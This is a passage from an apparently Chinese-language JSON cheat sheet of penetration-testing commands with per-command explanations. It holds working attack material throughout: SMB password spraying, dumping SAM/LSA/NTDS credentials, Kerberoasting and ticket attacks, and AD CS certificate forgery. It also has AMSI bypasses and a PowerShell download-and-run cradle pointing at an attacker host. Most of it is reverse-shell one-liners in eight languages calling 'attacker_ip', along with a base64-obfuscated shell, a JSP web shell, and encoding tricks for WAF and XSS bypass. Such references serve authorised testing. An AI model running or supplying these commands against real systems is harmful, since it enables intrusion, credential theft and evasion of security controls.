/usr/share/wordlists/rockyou.txt\n\n# John:\njohn --wordlist=/usr/share/wordlists/rockyou.txt hash.txt\n\n# Hydra:\nhydra -l admin -P /usr/share/wordlists/rockyou.txt ssh://target", "description": "配合各种密码破解工具使用", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "netexec", "name": "NetExec", "description": "CrackMapExec的继任者,网络渗透测试自动化工具", "category": "内网渗透", "tags": [], "commands": [ { "command": "nxc smb 10.0.0.0/24 -u user -p password --shares\nnxc smb 10.0.0.0/24 -u user -p password --users", "description": "SMB共享和用户枚举", "platform": "all", "syntaxBreakdown": [ { "part": "nxc", "explanation": "NetExec命令行工具", "type": "command" }, { "part": "smb", "explanation": "指定SMB协议", "type": "parameter" }, { "part": "--shares", "explanation": "枚举共享目录", "type": "parameter" } ] }, { "command": "nxc smb 10.0.0.0/24 -u users.txt -p \"Password123!\" --continue-on-success", "description": "使用单一密码对多用户进行喷射", "platform": "all", "syntaxBreakdown": [] }, { "command": "nxc smb target_ip -u admin -p password -x \"whoami\"\nnxc winrm target_ip -u admin -p password -X \"Get-Process\"", "description": "通过SMB/WinRM执行命令", "platform": "all", "syntaxBreakdown": [] }, { "command": "nxc smb target_ip -u admin -p password --sam\nnxc smb target_ip -u admin -p password --lsa\nnxc smb target_ip -u admin -p password --ntds", "description": "提取SAM/LSA/NTDS中的凭证", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "ligolo-ng", "name": "Ligolo-ng", "description": "高级内网隧道代理工具,基于TUN接口", "category": "内网渗透", "tags": [], "commands": [ { "command": "# 创建TUN接口\nsudo ip tuntap add user $(whoami) mode tun ligolo\nsudo ip link set ligolo up\n\n# 启动代理服务\n./proxy -selfcert -laddr 0.0.0.0:11601", "description": "在攻击机上配置TUN接口和启动代理", "platform": "linux", "syntaxBreakdown": [ { "part": "ip tuntap add", "explanation": "创建TUN虚拟网络接口", "type": "command" }, { "part": "-selfcert", "explanation": "使用自签名证书", "type": "parameter" } ] }, { "command": "./agent -connect attacker_ip:11601 -ignore-cert", "description": "在目标机运行Agent连接回攻击机", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 在Ligolo控制台:\nsession\nstart\n# 在攻击机添加路由:\nsudo ip route add 10.10.10.0/24 dev ligolo", "description": "配置路由实现内网直通", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "sharphound", "name": "SharpHound", "description": "BloodHound的C#数据收集器,在Windows域内收集AD信息", "category": "内网渗透", "tags": [], "commands": [ { "command": ".\\SharpHound.exe -c All", "description": "收集所有AD域信息(用户/组/ACL/Session等)", "platform": "windows", "syntaxBreakdown": [ { "part": "-c All", "explanation": "收集所有类型的数据", "type": "parameter" } ] }, { "command": ".\\SharpHound.exe -c DCOnly --NoSaveCache --RandomFilenames --MemCache", "description": "仅从DC收集,不保存缓存,随机文件名", "platform": "windows", "syntaxBreakdown": [] }, { "command": ".\\SharpHound.exe -c Session --Loop --LoopDuration 02:00:00 --LoopInterval 00:05:00", "description": "循环收集Session信息(2小时,每5分钟一次)", "platform": "windows", "syntaxBreakdown": [] }, { "command": ".\\SharpHound.exe -c All -d child.domain.com --LdapUsername user --LdapPassword pass", "description": "收集指定子域的信息", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "bloodhound-python", "name": "BloodHound-Python", "description": "BloodHound的Python数据收集器,可从Linux远程收集AD信息", "category": "内网渗透", "tags": [], "commands": [ { "command": "bloodhound-python -d domain.com -u user -p password -ns dc_ip -c All", "description": "从Linux远程收集AD域全量信息", "platform": "linux", "syntaxBreakdown": [ { "part": "-d", "explanation": "目标域名", "type": "parameter" }, { "part": "-ns", "explanation": "DNS服务器(通常是DC)", "type": "parameter" }, { "part": "-c All", "explanation": "收集所有类型数据", "type": "parameter" } ] }, { "command": "bloodhound-python -d domain.com -u user --hashes aad3b435b51404eeaad3b435b51404ee:ntlm_hash -ns dc_ip -c All", "description": "使用NTLM哈希进行Pass-the-Hash收集", "platform": "linux", "syntaxBreakdown": [] }, { "command": "bloodhound-python -d domain.com -u user -p pass -ns dc_ip -c Group,LocalAdmin,Session", "description": "仅收集组、本地管理员和会话信息", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "rubeus", "name": "Rubeus", "description": "Kerberos攻击工具集,用于票据操作和Kerberos攻击", "category": "内网渗透", "tags": [], "commands": [ { "command": "Rubeus.exe kerberoast /outfile:hashes.txt\nRubeus.exe kerberoast /user:svc_sql /outfile:hash.txt", "description": "请求服务票据用于离线破解", "platform": "windows", "syntaxBreakdown": [ { "part": "kerberoast", "explanation": "请求TGS票据进行离线破解", "type": "command" }, { "part": "/outfile", "explanation": "保存哈希到文件", "type": "parameter" } ] }, { "command": "Rubeus.exe asreproast /format:hashcat /outfile:asrep.txt", "description": "对不需要预认证的账户请求AS-REP", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe ptt /ticket:base64_ticket\nRubeus.exe ptt /ticket:ticket.kirbi", "description": "导入Kerberos票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe asktgt /user:user /password:pass /enctype:aes256 /ptt\nRubeus.exe asktgt /user:user /rc4:ntlm_hash /ptt", "description": "使用密码或哈希请求TGT票据", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Rubeus.exe s4u /user:svc$ /rc4:hash /impersonateuser:admin /msdsspn:cifs/target /ptt", "description": "S4U约束委派攻击", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "certipy", "name": "Certipy", "description": "AD CS(Active Directory证书服务)攻击工具", "category": "内网渗透", "tags": [], "commands": [ { "command": "certipy find -u user@domain.com -p password -dc-ip dc_ip -enabled -vulnerable", "description": "枚举可利用的证书模板", "platform": "all", "syntaxBreakdown": [ { "part": "find", "explanation": "枚举模式", "type": "command" }, { "part": "-vulnerable", "explanation": "仅显示可利用的模板", "type": "parameter" } ] }, { "command": "certipy req -u user@domain.com -p password -ca CA-NAME -template VULN_TEMPLATE -upn admin@domain.com", "description": "ESC1: 利用允许SAN的模板伪造管理员证书", "platform": "all", "syntaxBreakdown": [] }, { "command": "certipy auth -pfx admin.pfx -dc-ip dc_ip", "description": "使用证书进行PKINIT认证获取NT Hash", "platform": "all", "syntaxBreakdown": [] }, { "command": "certipy shadow auto -u user@domain.com -p password -account target_user", "description": "Shadow Credentials攻击获取目标用户凭证", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "lazagne-tool", "name": "LaZagne", "description": "自动化本地密码恢复工具,支持数十种应用", "category": "内网渗透", "tags": [], "commands": [ { "command": "lazagne.exe all", "description": "提取所有支持应用的密码", "platform": "windows", "syntaxBreakdown": [ { "part": "all", "explanation": "搜索所有支持的应用程序", "type": "parameter" } ] }, { "command": "lazagne.exe browsers\nlazagne.exe wifi\nlazagne.exe databases\nlazagne.exe sysadmin", "description": "仅提取指定类别的密码", "platform": "windows", "syntaxBreakdown": [] }, { "command": "python3 lazagne.py all\npython3 lazagne.py browsers", "description": "Linux版本使用方式", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "seatbelt", "name": "Seatbelt", "description": "C#安全审计工具,快速收集Windows系统安全相关信息", "category": "内网渗透", "tags": [], "commands": [ { "command": "Seatbelt.exe -group=all -full", "description": "执行所有安全检查", "platform": "windows", "syntaxBreakdown": [ { "part": "-group=all", "explanation": "运行所有检查组", "type": "parameter" }, { "part": "-full", "explanation": "详细输出模式", "type": "parameter" } ] }, { "command": "Seatbelt.exe -group=system -group=user", "description": "检查系统和用户相关安全配置", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe CredEnum WindowsVault SavedRDPConnections RecentFiles", "description": "运行指定的检查模块", "platform": "windows", "syntaxBreakdown": [] }, { "command": "Seatbelt.exe -group=remote -computername=target -username=admin -password=pass", "description": "远程执行安全审计", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "winpeas", "name": "WinPEAS", "description": "Windows权限提升辅助脚本,自动发现提权路径", "category": "内网渗透", "tags": [], "commands": [ { "command": "winpeasany.exe", "description": "执行所有Windows提权检查", "platform": "windows", "syntaxBreakdown": [] }, { "command": "winpeasany.exe fast", "description": "快速模式(跳过耗时检查)", "platform": "windows", "syntaxBreakdown": [] }, { "command": "winpeasany.exe servicesinfo\nwinpeasany.exe userinfo\nwinpeasany.exe systeminfo", "description": "仅检查指定类别", "platform": "windows", "syntaxBreakdown": [] }, { "command": "winpeasany.exe log=output.txt\nwinpeasany.exe /quiet > output.txt 2>&1", "description": "将结果保存到文件", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "linpeas", "name": "LinPEAS", "description": "Linux权限提升辅助脚本,自动发现提权路径", "category": "内网渗透", "tags": [], "commands": [ { "command": "./linpeas.sh", "description": "执行所有Linux提权检查", "platform": "linux", "syntaxBreakdown": [] }, { "command": "./linpeas.sh -a -o output.txt", "description": "全面扫描(含耗时检查)并输出到文件", "platform": "linux", "syntaxBreakdown": [] }, { "command": "curl -L https://github.com/carlospolop/PEASS-ng/releases/latest/download/linpeas.sh | bash", "description": "无文件落地直接执行", "platform": "linux", "syntaxBreakdown": [] }, { "command": "./linpeas.sh -s\n# -s: 仅超快速检查\n# -P: 仅密码相关\n# -n: 仅网络信息", "description": "指定检查类别", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "powershell-amsi", "name": "PowerShell AMSI绕过", "description": "Windows AMSI(反恶意软件扫描接口)绕过技术集合", "category": "系统命令", "tags": [], "commands": [ { "command": "[Ref].Assembly.GetType('System.Management.Automation.AmsiUtils').GetField('amsiInitFailed','NonPublic,Static').SetValue($null,$true)", "description": "通过反射修改amsiInitFailed标志位", "platform": "windows", "syntaxBreakdown": [] }, { "command": "$a=[Ref].Assembly.GetType('System.Management.Automation.Am'+'siUt'+'ils');$b=$a.GetField('am'+'siIn'+'itFa'+'iled','NonPublic,Static');$b.SetValue($null,$true)", "description": "字符串拼接绕过AMSI签名检测", "platform": "windows", "syntaxBreakdown": [] }, { "command": "$w='System.Management.Automation.A'+'msiUtils';[Runtime.InteropServices.Marshal]::WriteByte(([Ref].Assembly.GetType($w).GetField('a'+'msiSession',[Reflection.BindingFlags]'NonPublic,Static').GetValue($null)),0x80)", "description": "直接修改内存中的AMSI缓冲区", "platform": "windows", "syntaxBreakdown": [] }, { "command": "powershell -version 2 -command \"IEX (New-Object Net.WebClient).DownloadString('http://attacker/script.ps1')\"", "description": "使用PowerShell v2(无AMSI)运行脚本", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "wmic-cmd", "name": "WMIC命令", "description": "Windows Management Instrumentation命令行工具", "category": "系统命令", "tags": [], "commands": [ { "command": "wmic os get Caption,Version,BuildNumber,OSArchitecture\nwmic computersystem get Name,Domain,Manufacturer,Model", "description": "获取操作系统和计算机信息", "platform": "windows", "syntaxBreakdown": [ { "part": "wmic", "explanation": "WMI命令行工具", "type": "command" }, { "part": "os get", "explanation": "查询操作系统对象属性", "type": "parameter" } ] }, { "command": "wmic process list brief\nwmic process where name=\"cmd.exe\" get processid,commandline\nwmic process call create \"cmd.exe /c whoami > C:\\temp\\out.txt\"", "description": "查询和创建进程", "platform": "windows", "syntaxBreakdown": [] }, { "command": "wmic service list brief\nwmic service where \"startmode='auto' and state='stopped'\" get name,startname", "description": "查询服务信息", "platform": "windows", "syntaxBreakdown": [] }, { "command": "wmic /node:target_ip /user:admin /password:pass process call create \"cmd.exe /c whoami\"", "description": "远程WMI命令执行", "platform": "windows", "syntaxBreakdown": [] }, { "command": "wmic product get name,version\nwmic qfe list", "description": "列出已安装软件和补丁", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "dsquery", "name": "DSQuery命令", "description": "Active Directory查询命令行工具", "category": "系统命令", "tags": [], "commands": [ { "command": "dsquery user -limit 0\ndsquery user -name *admin*\ndsquery user -inactive 4", "description": "查询域用户(所有/管理员/不活跃)", "platform": "windows", "syntaxBreakdown": [ { "part": "dsquery user", "explanation": "查询AD用户对象", "type": "command" }, { "part": "-limit 0", "explanation": "不限制返回数量", "type": "parameter" } ] }, { "command": "dsquery computer -limit 0\ndsquery computer -name *server*", "description": "查询域内计算机对象", "platform": "windows", "syntaxBreakdown": [] }, { "command": "dsquery group -name \"Domain Admins\"\ndsquery group | dsget group -members", "description": "查询域组及成员", "platform": "windows", "syntaxBreakdown": [] }, { "command": "dsquery ou\ndsquery * \"DC=domain,DC=com\" -filter \"(objectclass=organizationalUnit)\" -attr name", "description": "查询组织单位结构", "platform": "windows", "syntaxBreakdown": [] }, { "command": "dsquery * -filter \"(&(objectClass=user)(adminCount=1))\" -attr sAMAccountName -limit 0", "description": "自定义LDAP过滤器查询特权用户", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "adexplorer", "name": "AD Explorer", "description": "Sysinternals出品的Active Directory浏览器和快照工具", "category": "系统命令", "tags": [], "commands": [ { "command": "ADExplorer.exe\n# 输入DC地址: dc.domain.com\n# 输入凭证: domain\\user / password\n# 或使用当前域凭证直连", "description": "连接到Active Directory进行浏览", "platform": "windows", "syntaxBreakdown": [] }, { "command": "ADExplorer.exe -snapshot \"\" output.snp\n# 或在GUI中: File > Create Snapshot", "description": "创建AD数据库离线快照(可用BloodHound分析)", "platform": "windows", "syntaxBreakdown": [] }, { "command": "# GUI操作: File > Compare\n# 选择两个时间点的快照文件\n# 对比AD变更(新用户/权限变更等)", "description": "对比两个快照发现AD变更", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "ldeep", "name": "ldeep", "description": "LDAP深度枚举工具,用于从Linux远程查询AD信息", "category": "系统命令", "tags": [], "commands": [ { "command": "ldeep ldap -u user -p password -d domain.com -s dc_ip users\nldeep ldap -u user -p password -d domain.com -s dc_ip users -v", "description": "枚举域用户", "platform": "all", "syntaxBreakdown": [ { "part": "ldap", "explanation": "使用LDAP协议连接", "type": "parameter" }, { "part": "-s", "explanation": "LDAP服务器地址", "type": "parameter" } ] }, { "command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip groups\nldeep ldap -u user -p pass -d domain.com -s dc_ip gpo", "description": "枚举组和组策略对象", "platform": "all", "syntaxBreakdown": [] }, { "command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip delegations\nldeep ldap -u user -p pass -d domain.com -s dc_ip trusts", "description": "查询委派配置和域信任关系", "platform": "all", "syntaxBreakdown": [] }, { "command": "ldeep ldap -u user -p pass -d domain.com -s dc_ip pso\nldeep ldap -u user -p pass -d domain.com -s dc_ip pass-pols", "description": "查询密码策略", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "bloodhound-cypher", "name": "BloodHound Cypher", "description": "BloodHound Neo4j Cypher查询语句集合", "category": "系统命令", "tags": [], "commands": [ { "command": "MATCH p=shortestPath((n:User {name:\"USER@DOMAIN.COM\"})-[*1..]->(m:Group {name:\"DOMAIN ADMINS@DOMAIN.COM\"})) RETURN p", "description": "查找指定用户到域管的最短攻击路径", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH (u:User {hasspn:true}) WHERE NOT u.name STARTS WITH \"KRBTGT\" RETURN u.name, u.serviceprincipalnames", "description": "查找可进行Kerberoasting的用户", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH (u:User {dontreqpreauth:true}) RETURN u.name", "description": "查找可进行AS-REP Roasting的用户", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH p=(u:User)-[:AdminTo]->(c:Computer) RETURN u.name, c.name", "description": "查找所有具有本地管理员权限的用户", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH (c:Computer {unconstraineddelegation:true}) RETURN c.name", "description": "查找配置了无约束委派的计算机", "platform": "all", "syntaxBreakdown": [] }, { "command": "MATCH p=(u:User)-[:GenericAll|GenericWrite|WriteDacl|WriteOwner|ForceChangePassword*1..]->(target) WHERE NOT u.name STARTS WITH \"KRBTGT\" RETURN p", "description": "查找可利用的ACL权限关系", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "php-reverse", "name": "PHP反弹Shell", "description": "PHP语言反弹Shell命令集合", "category": "反弹Shell", "tags": [], "commands": [ { "command": "php -r '$sock=fsockopen(\"attacker_ip\",4444);exec(\"sh <&3 >&3 2>&3\");'", "description": "使用exec函数反弹Shell", "platform": "linux", "syntaxBreakdown": [ { "part": "fsockopen", "explanation": "创建TCP连接", "type": "command" }, { "part": "exec", "explanation": "执行系统命令", "type": "command" } ] }, { "command": "php -r '$sock=fsockopen(\"attacker_ip\",4444);$proc=proc_open(\"sh\",array(0=>$sock,1=>$sock,2=>$sock),$pipes);'", "description": "使用proc_open创建交互式Shell", "platform": "linux", "syntaxBreakdown": [] }, { "command": "\n\n", "description": "常用PHP一句话木马(仅用于安全测试)", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 下载完整PHP反弹Shell:\n# https://github.com/pentestmonkey/php-reverse-shell\n# 修改$ip和$port后上传执行", "description": "功能完整的PHP反弹Shell脚本", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "java-reverse", "name": "Java反弹Shell", "description": "Java语言反弹Shell命令集合", "category": "反弹Shell", "tags": [], "commands": [ { "command": "Runtime rt = Runtime.getRuntime();\nString[] cmd = {\"/bin/bash\", \"-c\", \"bash -i >& /dev/tcp/attacker_ip/4444 0>&1\"};\nrt.exec(cmd);", "description": "Java Runtime执行反弹Shell", "platform": "linux", "syntaxBreakdown": [] }, { "command": "bash -c {echo,YmFzaCAtaSA+JiAvZGV2L3RjcC9hdHRhY2tlcl9pcC80NDQ0IDA+JjE=}|{base64,-d}|{bash,-i}", "description": "用于Payload注入时避免特殊字符问题", "platform": "linux", "syntaxBreakdown": [ { "part": "{echo,BASE64}", "explanation": "输出Base64编码的命令", "type": "command" }, { "part": "{base64,-d}", "explanation": "解码Base64", "type": "command" }, { "part": "{bash,-i}", "explanation": "执行解码后的命令", "type": "command" } ] }, { "command": "<%@page import=\"java.util.*,java.io.*\"%>\n<%\nProcess p=Runtime.getRuntime().exec(\"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}\");\n%>", "description": "JSP Web Shell方式", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "perl-reverse", "name": "Perl反弹Shell", "description": "Perl语言反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "perl -e 'use Socket;$i=\"attacker_ip\";$p=4444;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"sh -i\");};'", "description": "Perl标准反弹Shell", "platform": "all", "syntaxBreakdown": [] }, { "command": "perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,\"attacker_ip:4444\");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'", "description": "Perl IO模块方式", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "ruby-reverse", "name": "Ruby反弹Shell", "description": "Ruby语言反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "ruby -rsocket -e'f=TCPSocket.open(\"attacker_ip\",4444).to_i;exec sprintf(\"/bin/sh -i <&%d >&%d 2>&%d\",f,f,f)'", "description": "Ruby标准反弹Shell", "platform": "linux", "syntaxBreakdown": [ { "part": "-rsocket", "explanation": "加载Socket库", "type": "parameter" }, { "part": "TCPSocket.open", "explanation": "创建TCP连接", "type": "command" } ] }, { "command": "ruby -rsocket -e 'c=TCPSocket.new(\"attacker_ip\",4444);while(cmd=c.gets);IO.popen(cmd,\"r\"){|io|c.print io.read}end'", "description": "Windows兼容版本", "platform": "windows", "syntaxBreakdown": [] } ] }, { "id": "nodejs-reverse", "name": "Node.js反弹Shell", "description": "Node.js语言反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "node -e '(function(){var net=require(\"net\"),cp=require(\"child_process\"),sh=cp.spawn(\"sh\",[]);var client=new net.Socket();client.connect(4444,\"attacker_ip\",function(){client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});return /a/;})();'", "description": "Node.js标准反弹Shell", "platform": "all", "syntaxBreakdown": [ { "part": "net.Socket()", "explanation": "创建TCP Socket连接", "type": "command" }, { "part": "child_process.spawn", "explanation": "创建子进程执行Shell", "type": "command" } ] }, { "command": "require(\"child_process\").exec(\"bash -c 'bash -i >& /dev/tcp/attacker_ip/4444 0>&1'\")", "description": "简短版本(适用于eval注入)", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "groovy-reverse", "name": "Groovy反弹Shell", "description": "Groovy语言反弹Shell(常用于Jenkins)", "category": "反弹Shell", "tags": [], "commands": [ { "command": "String host=\"attacker_ip\";\nint port=4444;\nString cmd=\"/bin/bash\";\nProcess p=new ProcessBuilder(cmd).redirectErrorStream(true).start();\nSocket s=new Socket(host,port);\nInputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();\nOutputStream po=p.getOutputStream(),so=s.getOutputStream();\nwhile(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try{p.exitValue();break;}catch(Exception e){}};\np.destroy();s.close();", "description": "Groovy完整反弹Shell(用于Jenkins Script Console)", "platform": "all", "syntaxBreakdown": [] }, { "command": "\"bash -c {echo,ENCODED_CMD}|{base64,-d}|{bash,-i}\".execute()", "description": "简短版(Base64编码命令)", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "lua-reverse", "name": "Lua反弹Shell", "description": "Lua语言反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "lua -e \"require('socket');require('os');t=socket.tcp();t:connect('attacker_ip','4444');os.execute('sh -i <&3 >&3 2>&3');\"", "description": "Lua Socket库反弹Shell", "platform": "linux", "syntaxBreakdown": [] }, { "command": "lua5.1 -e 'local host, port = \"attacker_ip\", 4444 local socket = require(\"socket\") local tcp = socket.tcp() tcp:connect(host, port) while true do local cmd, status = tcp:receive() local f = io.popen(cmd, \"r\") local s = f:read(\"*a\") f:close() tcp:send(s) if status == \"closed\" then break end end tcp:close()'", "description": "Lua 5.1兼容版本", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "awk-reverse", "name": "AWK反弹Shell", "description": "AWK语言反弹Shell命令", "category": "反弹Shell", "tags": [], "commands": [ { "command": "awk 'BEGIN {s = \"/inet/tcp/0/attacker_ip/4444\"; while(42) { do{ printf \"shell> \" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != \"exit\") close(s); }}' /dev/null", "description": "AWK网络功能反弹Shell", "platform": "linux", "syntaxBreakdown": [ { "part": "/inet/tcp/0/", "explanation": "AWK内置TCP连接", "type": "command" }, { "part": "attacker_ip/4444", "explanation": "目标地址和端口", "type": "value" } ] }, { "command": "gawk 'BEGIN{s=\"/inet/tcp/0/attacker_ip/4444\";while(1){do{s|&getline c;if(c){while((c|&getline)>0)print $0|&s;close(c)}}while(c!=\"exit\");close(s)}}'", "description": "GNU AWK简化版", "platform": "linux", "syntaxBreakdown": [] } ] }, { "id": "base64-encode", "name": "Base64编码", "description": "Base64编码/解码命令集合", "category": "编码解码", "tags": [], "commands": [ { "command": "# Linux:\necho -n \"payload\" | base64\nbase64 file.txt > encoded.txt\n\n# Windows PowerShell:\n[Convert]::ToBase64String([Text.Encoding]::UTF8.GetBytes(\"payload\"))\n\n# Python:\npython3 -c \"import base64; print(base64.b64encode(b'payload').decode())\"", "description": "各平台Base64编码方法", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Linux:\necho \"cGF5bG9hZA==\" | base64 -d\nbase64 -d encoded.txt > decoded.txt\n\n# Windows PowerShell:\n[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String(\"cGF5bG9hZA==\"))\n\n# Python:\npython3 -c \"import base64; print(base64.b64decode('cGF5bG9hZA==').decode())\"", "description": "各平台Base64解码方法", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Python:\nimport base64\nbase64.urlsafe_b64encode(b\"payload\").decode()\nbase64.urlsafe_b64decode(\"cGF5bG9hZA==\").decode()", "description": "URL安全的Base64编码(+/替换为-_)", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "url-encode", "name": "URL编码", "description": "URL编码/解码命令集合", "category": "编码解码", "tags": [], "commands": [ { "command": "# Python:\npython3 -c \"from urllib.parse import quote; print(quote(''))\"\n\n# 双重编码:\npython3 -c \"from urllib.parse import quote; print(quote(quote('')))\"\n\n# CyberChef在线: https://gchq.github.io/CyberChef/", "description": "URL编码方法(单次/双重)", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Python:\npython3 -c \"from urllib.parse import unquote; print(unquote('%3Cscript%3Ealert(1)%3C%2Fscript%3E'))\"\n\n# Linux:\nprintf '%b' \"\\x3Cscript\\x3E\"", "description": "URL解码方法", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "hex-encode", "name": "Hex编码", "description": "十六进制编码/解码命令集合", "category": "编码解码", "tags": [], "commands": [ { "command": "# Linux:\necho -n \"payload\" | xxd -p\necho -n \"payload\" | od -A n -t x1 | tr -d \" \\n\"\n\n# Python:\npython3 -c \"print('payload'.encode().hex())\"\npython3 -c \"print('\\\\x'.join([hex(ord(c))[2:] for c in 'payload']))\"", "description": "十六进制编码方法", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Linux:\necho \"7061796c6f6164\" | xxd -r -p\n\n# Python:\npython3 -c \"print(bytes.fromhex('7061796c6f6164').decode())\"", "description": "十六进制解码方法", "platform": "all", "syntaxBreakdown": [] }, { "command": "# SQL注入中使用:\nSELECT 0x61646D696E -- \"admin\"\n\n# XSS中使用:\n", "description": "在SQL注入和XSS中使用十六进制编码", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "html-encode", "name": "HTML编码", "description": "HTML实体编码/解码命令集合", "category": "编码解码", "tags": [], "commands": [ { "command": "# Python:\npython3 -c \"import html; print(html.escape(''))\"\n\n# 数字编码:\npython3 -c \"print(''.join(['&#'+str(ord(c))+';' for c in '']))\"\n\n# 十六进制HTML编码:\npython3 -c \"print(''.join(['&#x'+hex(ord(c))[2:]+';' for c in 'alert']))\"", "description": "HTML实体编码(命名/十进制/十六进制)", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Python:\npython3 -c \"import html; print(html.unescape('<script>alert(1)</script>'))\"", "description": "HTML实体解码", "platform": "all", "syntaxBreakdown": [] }, { "command": "# 常用HTML实体:\n# < => < 或 < 或 <\n# > => > 或 > 或 >\n# \" => " 或 " 或 "\n# ' => ' 或 ' 或 '\n# & => & 或 & 或 &", "description": "XSS绕过常用的HTML实体对照", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "unicode-encode", "name": "Unicode编码", "description": "Unicode编码/解码命令集合", "category": "编码解码", "tags": [], "commands": [ { "command": "# Python Unicode转义:\npython3 -c \"print(''.join(['\\\\u'+hex(ord(c))[2:].zfill(4) for c in 'alert']))\"\n# 输出: \\u0061\\u006c\\u0065\\u0072\\u0074\n\n# UTF-8字节:\npython3 -c \"print('alert'.encode('utf-8'))\"", "description": "Unicode各种编码形式", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Python:\npython3 -c \"print('\\\\u0061\\\\u006c\\\\u0065\\\\u0072\\\\u0074'.encode().decode('unicode_escape'))\"\n\n# JavaScript:\nconsole.log(\"\\u0061\\u006c\\u0065\\u0072\\u0074\")", "description": "Unicode解码方法", "platform": "all", "syntaxBreakdown": [] }, { "command": "# JavaScript Unicode绕过:\n\n\n# Overlong UTF-8编码:\n# / => %c0%af (可绕过路径过滤)\n# . => %c0%ae", "description": "使用Unicode编码绕过WAF/过滤", "platform": "all", "syntaxBreakdown": [] } ] }, { "id": "jwt-decode", "name": "JWT解码", "description": "JWT(JSON Web Token)解码和分析工具", "category": "编码解码", "tags": [], "commands": [ { "command": "# 在线工具:\n# https://jwt.io\n# https://token.dev\n# 粘贴JWT即可查看Header和Payload", "description": "使用在线工具解码JWT", "platform": "all", "syntaxBreakdown": [] }, { "command": "# Python:\npython3 -c \"\nimport base64, json, sys\ntoken = sys.argv[1]\nparts = token.split('.')\nfor i, part in enumerate(parts[:2]):\n padded = part + '=' * (4 - len(part) % 4)\n decoded = base64.urlsafe_b64decode(padded)\n print(json.dumps(json.loads(decoded), indent=2))\n\" YOUR_JWT_HERE", "description": "使用Python命令行解码JWT", "platform": "all", "syntaxBreakdown": [] }, { "command": "# JWT结构: Header.Payload.Signature\n# Header: {\"alg\":\"HS256\",\"typ\":\"JWT\"}\n# Payload: {\"sub\":\"1234\",\"name\":\"user\",\"iat\":1516239022}\n# Signature: HMACSHA256(base64url(header)+\".\"+base64url(payload), secret)\n\n# 检查要点:\n# 1. alg是否可改为none\n# 2. 密钥是否为弱密码\n# 3. 是否可将RS256改为HS256\n# 4. exp是否已过期", "description": "JWT结构分析和安全检查要点", "platform": "all", "syntaxBreakdown": [] } ] } ]